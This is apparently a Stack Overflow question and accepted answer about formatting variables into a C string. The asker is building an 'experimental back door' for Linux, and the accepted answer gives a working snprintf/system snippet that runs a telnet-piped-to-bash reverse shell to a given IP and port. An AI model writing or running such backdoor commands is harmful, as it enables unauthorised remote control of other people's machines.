How can i implement variables into a string?

Question

I am a bit of a beginner here. I am making an experimental back door for Linux that uses telnet to handle sockets. How can I use a variable in a string, I am used to python so I often would do something like this:

     var0 = "asdf"
     var1 = "I like "+var0+" movies"

But in C I am puzzled, because if I use this:

     system("telnet %i %p | bash | telnet %i %p", IP, PORT);

I get this when executed:

     telnet: could not resolve %i/%p: Servname not supported for ai_socktype

%i/%p??? Can somebody please explain this to me.

The dublicate is not what i am looking for. I will edit in another example. — user3081016
– user3081016, Commented Dec 8, 2013 at 23:11
Good stuff - just make sure to keep the question as specific as possible ;) — brandonscript
– brandonscript, Commented Dec 8, 2013 at 23:13
@user3081016 In order to make my answer more correct I need to know the types of IP and PORT can you show their declaration / definition? — Kninnug
– Kninnug, Commented Dec 8, 2013 at 23:21

Kninnug · Accepted Answer · 2013-12-08 23:25:52Z

3

You'll want to use snprintf:

char cmd[512];
snprintf(cmd, sizeof cmd, "telnet %i %p | bash | telnet %i %p", IP, PORT, IP, PORT);
system(cmd);

Though %i expects an int and %p will print the given parameter as an implementation-defined pointer-representation (and thus will expect a pointer, but will not print what it points to). You need the correct format-specifiers depending on the types of IP and PORT.

Note that the %i and %p & other %-modifiers don't work in every C-string, they are only processed by the *f functions (the 'f'-suffix stands for format(ted)). As you can see, system doesn't process them and interprets them literally.

edited Dec 8, 2013 at 23:25

answered Dec 8, 2013 at 23:10

Kninnug

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1 Comment

Kninnug Over a year ago

@user3081016 Probably not though as telnet expects a host-name (not a mere number) and a (numeric) port (which the printed-pointer is not likely to form properly). You need to specify the correct %-modifiers that correspond to the types of IP and PORT.

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